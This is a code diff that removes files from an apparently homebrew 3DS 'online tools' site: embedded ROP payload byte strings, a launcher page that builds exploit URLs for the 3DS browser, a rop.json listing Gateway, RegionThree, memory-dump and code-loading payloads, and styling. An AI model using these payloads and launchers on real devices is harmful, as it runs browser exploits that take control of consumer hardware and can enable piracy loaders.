'17498':'樴-\udb6c해*弧*⯨3樴-\udb6c해*찀ॸ瑐!畠ࢴ\0@#낤%해*찄ॸ靘&\0\0鮔@#樴-\udb6c해*찀ॸ瑐!찠ॸ\0 䀀\0죤/樴-\udb6c해*搼;瑐!老￿\0ᡁࠀ䰬4해*啀?靘&璬ࢴ,\0\0ᡁὈࠀ￿￿해*\0樴-\udb6c해*⠀靘&\0\0儼*\0 @#@#@#璌ࢴ@#@#@#@#@#@#@#@#@#@#@#@#琀ࢴ\0\0\udb6c@#@#@#@#@#@#@#@#@#\udb6c\udb6cdmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#樜-',
'17538C42':'',
'17538C45':'',
'17538K':'',
'17538T':'',
'17552':'ΤΤ찀ॸ㷀啠ࢸ\0@#﹄"쌠찄ॸ謐"\0\0暰@#Τ찀ॸ㷀찠ॸ\0 䀀\0蛀ΤꜬ=㷀老￿\0ᡁࠀ粘=謐"咬ࢸ뽐\0\0ᡁὈࠀ￿￿￿￿\0Τ⠀謐"\0\0䈌\0 @#@#@#和ࢸ@#@#@#@#@#@#@#@#@#@#@#@#吀ࢸ\0\0埠@#@#@#@#@#@#@#@#@#埠dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#Ό',
'17552C':'',
'17552K':'',
'17552T':'',
'17567':'͜͜찀ॸ㶬蕠ࢸ\0@#"싼찄ॸ諴"\0\0暔@#͜찀ॸ㶬찠ॸ\0 䀀\0蛜͜Ꜭ=㶬老￿\0ᡁࠀ粘=諴"蒬ࢸ뼈\0\0ᡁὈࠀ￿￿￿￿\0͜⠀諴"\0\0䇸\0 @#@#@#蒌ࢸ@#@#@#@#@#@#@#@#@#@#@#@#萀ࢸ\0\0埄@#@#@#@#@#@#@#@#@#埄dmc:/\0@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#̈́',
'17567C':'',
'17567K':'',
'17567T':''
}[n.split('/').pop().replace(/[^\dCKT]/g,'')],
s=q.indexOf("dmc:/")+5;
q=q.substring(0,s)+l+"\0"+q.slice(s+l.length+1);

View File

@ -1,145 +0,0 @@
<html><head>
<title>3DS Online Tools</title>
<meta name=viewport content='width=400'>
<script type=text/javascript src=./autostyle.js></script>
<script language=javascript>
var is3DS = navigator.platform.indexOf("Nintendo 3DS") >= 0;
var x=new XMLHttpRequest();
x.open('GET','rop.json',false);
x.send();
var launchers = JSON.parse(x.responseText);
var selected = null
var toggled = null;
function setscroll(size){
x = document.activeElement.offsetLeft - bottompane.scrollLeft;
var e = event.keyCode;
var dx = 0;
if ( e == 39 && x >= 320-size ){
bottompane.scrollLeft += size;
}
if ( e == 37 && x <= size ){
bottompane.scrollLeft -= size;
}
if ( e == 13 ){
toggled = document.activeElement;
}
}
function readparams(obj){
if(obj)
with (launchers[obj.id])
if (hasOwnProperty('params'))
for (param in params)
params[param].value = document.getElementById('param'+param).value;
}
function geturl(obj) {
if(is3DS){
a = navigator.userAgent.split('.');
v = a.pop().substring(0,1).replace(/[UEJ]/,'');
v = '1' + a.pop() + v;
}else{
v='17567';
}
readparams(obj);
with (launchers[obj.id]){
v = rop.replace("%spiderver%", v);
if (hasOwnProperty('params'))
for (param in params)
with (params[param])
if (value.length > 0){
v += '&';
if(hasOwnProperty('valueprefix')){
v += valueprefix;
}
c=value;
if(obj.id=="arcode"){
c=c.toUpperCase().replace(/[^\dA-F]/g,'');
n=((c.length+15)>>4).toString(16).toUpperCase();
c=Array(9-n.length).join('0')+n+c;
}
if(hasOwnProperty('little-endian')){
a=c.toUpperCase().replace(/[^\dA-F]/g,'').match(/.{8}/g);
c='';
while(a.length>0){
b=a.shift().match(/..?/g);
while(b.length>0)
c+=b.pop();
}
a=c.match(/..?/g);
for(c in a)a[c]=parseInt(a[c],16);
c=btoa(String.fromCharCode.apply(null,a));
}
v+=c;
}
}
return '/3ds/rop?' + v;
}
function toggle(obj) {
if (toggled == obj) {
if (is3DS) {
window.location.replace(geturl(obj));
} else {
window.location.assign('https://chart.googleapis.com/chart?cht=qr&chs=220x220&chl=' + window.location.protocol + '//' + window.location.hostname + encodeURIComponent(geturl(obj)));
}
} else {
toggled = obj;
}
}
function titleset(obj) {
readparams(selected);
paramspane.innerHTML='';
selected = obj;
with (launchers[selected.id])
if (hasOwnProperty('params'))
for (param in params)
with (params[param])
paramspane.innerHTML += "<div><label style='width: 160px;'>"+title+"</label>&nbsp;<input id=param"+param+" type=text " + (hasOwnProperty('value')?"value='"+value+"'":"") + " style='width: 140px;' " + (hasOwnProperty('fixed')?"disabled":"") + "/></div>";
with (document.getElementById("title")) {
innerHTML = obj.title.split(/\n/).join("<br>");
style.display = '';
}
}
function titleunset(obj) {
document.getElementById("title").style.display = 'none';
}
</script>
</head><body onkeydown=setscroll(48+8+8);><center>
<div id=bg>
<div id=top>
<div id=status></div>
<div id=topscreen>3DS Gateway launcher<div id=result></div><div id=title align=center style='display:none; position: absolute; width: 60% ; bottom: 16px; left: 50%; margin-left: -33%;'></div></div>
</div>
<div id=bottom>
<div id=bottomscreen>
<div id=bottompane style='text-align: left; height: 104px; overflow-x: sroll; overflow-y: hidden; padding-bottom: 16px;'>
<div id=icons style='align: left;'>
<script>
iconsize = 48;
marginh = 8;
marginv = 32;
icons.style.width=Object.keys(launchers).length*(iconsize + marginh * 2);
for (id in launchers){
with (launchers[id]){
document.write("<button id=" + id + " title='" + title + "' class=image onclick=toggle(this); onfocus=titleset(this); onblur=titleunset(this); onmouseover=titleset(this); onmouseout=titleunset(this); style='width: "+iconsize+"; height: "+iconsize+"; margin: "+marginv+" "+marginh+"; padding: 5; border: 10; background-image: url(" + icon + "); background-size: cover;' />");
}
}
</script>
</div>
</div>
<div style='text-align: left; height: 46px; overflow-x: hidden; overflow-y: scroll;'>
<div id=paramspane style='text-align: right;'></div>
</div>
</div>
<div id=navi><img border=none src=/3ds/3ds_navi.png width=320 height=28 usemap=#navigation>
<map name=navigation>
<area shape=rect coords=0,1,42,28 onclick=history.back(); />
<area shape=rect coords=43,1,85,28 onclick=history.forward(); />
<area shape=rect coords=86,1,127,28 onclick=location.reload(); />
<area shape=rect coords=128,1,170,28 />
<area shape=rect coords=171,1,213,28 />
<area shape=rect coords=214,1,320,28 />
</map>
</div>
</div>
</div>
</center></body></html>

View File

@ -1,13 +0,0 @@
<html><head><script>
s=window.location.search.slice(1).split('&');
window.location.assign(
window.location.href.replace(/\/[^\/]+$/,'')+'/get?'+encodeURIComponent('http://nus.cdn.c.shop.nintendowifi.net/ccs/download/000400100002'+{
'P':'0000/00000022',
'S':'1000/0000002D',
'U':'2000/00000023',
'N':'6000/00000006',
'R':'7000/0000000D',
'W':'8000/00000005'
}[navigator.userAgent.slice(-1)])+(s[0].length>1?'&'+s[0]:'')
);
</script></head></html>

172
rop.json
View File

@ -1,172 +0,0 @@
{
"gateway":{
"title":"Gateway launcher\nGateway"
,"icon":"http://www.gateway-3ds.com/wp-content/uploads/2015/01/banner_side1.png"
,"rop":"GW%spiderver%.dat"
,"params":[
{
"title":"Launcher filename"
,"value":"Launcher.dat"
,"fixed":1
}
]
}
,"regionthree":{
"title":"RegionThree\nsmea"
,"icon":"https://avatars0.githubusercontent.com/u/6338016?48"
,"rop":"GW%spiderver%.dat"
,"params":[
{
"title":"Launcher filename"
,"value":"RegionThree.dat"
,"fixed":1
}
]
}
,"rxtools":{
"title":"rxTools\nroxas75"
,"icon":"https://avatars2.githubusercontent.com/u/9784737?s=48"
,"rop":"GW%spiderver%.dat"
,"params":[
{
"title":"Launcher filename"
,"value":"rxTools.dat"
,"fixed":1
}
]
}
,"custom":{
"title":"Custom launcher"
,"icon":"http://www.nintendo.co.jp/3ds/hardware/common/img/icon_ar.png"
,"rop":"GW%spiderver%.dat"
,"params":[
{
"title":"Launcher filename"
,"value":"Launcher.dat"
}
]
}
,"regionthree2":{
"title":"RegionThree\nbrowser only version\nsmea & Yifan Lu"
,"icon":"https://avatars0.githubusercontent.com/u/6338016?48"
,"rop":"RegionThree%spiderver%.dat"
}
,"spoof":{
"title":"Firmware version spoof\nto access eShop and more\nmotezazer"
,"icon":"http://www.nintendo.co.jp/3ds/css/img/support_nnid.png"
,"rop":"spoof.dat"
}
,"vc":{
"title":"Game Boy & Game Boy Color\nVirtual Console Injector\nKazoWAR"
,"icon":"https://d3esbfg30x759i.cloudfront.net/tip/AAQAAAAL5gAzm1Dxc_"
,"rop":"VC.dat"
,"params":[
{
"title":"ROM filename"
,"value":"rom.gbc"
}
]
}
,"arcode":{
"title":"Action Replay cheat engine\nKazoWAR"
,"icon":"http://i1-news.softpedia-static.com/images/news2/Action-Replay-DS-Arrives-2.jpg"
,"rop":"arcode.dat"
,"params":[
{
"title":"Cheat code"
,"valueprefix":"EFC:"
,"little-endian":1
}
]
}
,"memdump":{
"title":"Memory dump\nKazoWAP"
,"icon":"http://www.nintendo.co.jp/3ds/hardware/common/img/icon_camera.png"
,"rop":"memdump.dat"
,"params":[
{
"title":"Dump filename"
,"value":"FCRAM.bin"
}
,{
"title":"Start address"
,"valueprefix":"9A8:"
,"value":"14000000"
,"little-endian":1
}
,{
"title":"End address"
,"valueprefix":"9AD:"
,"value":"1C000000"
,"little-endian":1
}
]
}
,"acnldump":{
"title":"Animal Crossing: New Leaf\nRAM dump\nmarc_max"
,"icon":"https://d3esbfg30x759i.cloudfront.net/tip/AAQAAAAIZAAkFoFvin"
,"rop":"acnldump.dat"
,"params":[
{
"title":"Dump filename"
,"value":"acnlram.bin"
}
]
}
,"acnldinjc":{
"title":"Animal Crossing: New Leaf\nRAM inject\nmarc_max"
,"icon":"https://d3esbfg30x759i.cloudfront.net/tip/AAQAAAAIZAAkFoFvin"
,"rop":"acnlinjc.dat"
,"params":[
{
"title":"Dump filename"
,"value":"acnlram.bin"
}
]
}
,"loadcode":{
"title":"Load code\nYifan Lu"
,"icon":"http://www.nintendo.co.jp/3ds/hardware/common/img/icon_ar.png"
,"rop":"LoadCode%spiderver%.dat"
,"params":[
{
"title":"ARM code filename"
,"value":"code.bin"
}
]
}
,"loadrop":{
"title":"Load ROP\nYifan Lu"
,"icon":"http://www.nintendo.co.jp/3ds/hardware/common/img/icon_ar.png"
,"rop":"LoadROP%spiderver%.dat"
,"params":[
{
"title":"ROP code filename"
,"value":"ROP.dat"
}
]
}
,"memorydump":{
"title":"Memory dump\nWinterMute & Yifan Lu"
,"icon":"http://www.nintendo.co.jp/3ds/hardware/common/img/icon_camera.png"
,"rop":"MemoryDump%spiderver%.dat"
,"params":[
{
"title":"Dump filename"
,"value":"memory.bin"
}
,{
"title":"Start address"
,"valueprefix":"58:"
,"value":"00100000"
,"little-endian":1
}
,{
"title":"Size"
,"valueprefix":"5C:"
,"value":"00300000"
,"little-endian":1
}
]
}
}

View File

@ -1,11 +0,0 @@
<html><head><script>
//a=atob('////').match(/./g);
//aa=[];
/i=0;
//w/hile(aa[i++]=a.shift()){
//// alert(c.charCodeAt(0));
//}
a="test".split('');
for(c in a)
alert(a[c]));
</script><head></html>

17
web.css
View File

@ -1,17 +0,0 @@
*{ margin: 0px;}
#bg { width: 702px; height: 715px; background-image: url(/3ds/3ds_bg.png); }
#top { position: relative; top: 77px; width: 400px; height: 240px; margin: 0 auto; }
#status { position: absolute; left: 0px; top: 0px; width: 400px; height: 20px; overflow: hidden; background-image: url(/3ds/3ds_status.png); }
#topscreen { position: absolute; left: 0px; top: 20px; width: 400px; height: 220px; overflow: hidden; background-image: url(/3ds/home_top.png); }
#bottom { position: relative; top: 168px; width: 320px; height: 240px; margin: 0 40; }
#bottomscreen { position: absolute; left: 0px; top: 0px; width: 320px; height: 212px; overflow: hidden; background-image: url(/3ds/home_bottom.png); }
#bottompane { margin-top: 36px; }
#navi { position: absolute; left: 0px; top: 212px; width: 320px; height: 28px; overflow: hidden;}
button.image { border: none; padding: 0px; background-size: 100% 100%; }
button::-moz-focus-inner { padding: 0; border: 0; }
div#title { border: 9px solid #eaebe6; padding: 0px; background: #eaebe6; border-radius: 9; box-shadow: 3px 3px 9px #888888; }
button.image:hover { box-shadow: 0 0 8px 2px #3ccd78 inset; }
button.image:focus { box-shadow: 0 0 8px 2px #3ccd78 inset; }
/*
button.image:focus { border: 4px solid #3ccd78; margin: -4px; border-radius: 4;}
*/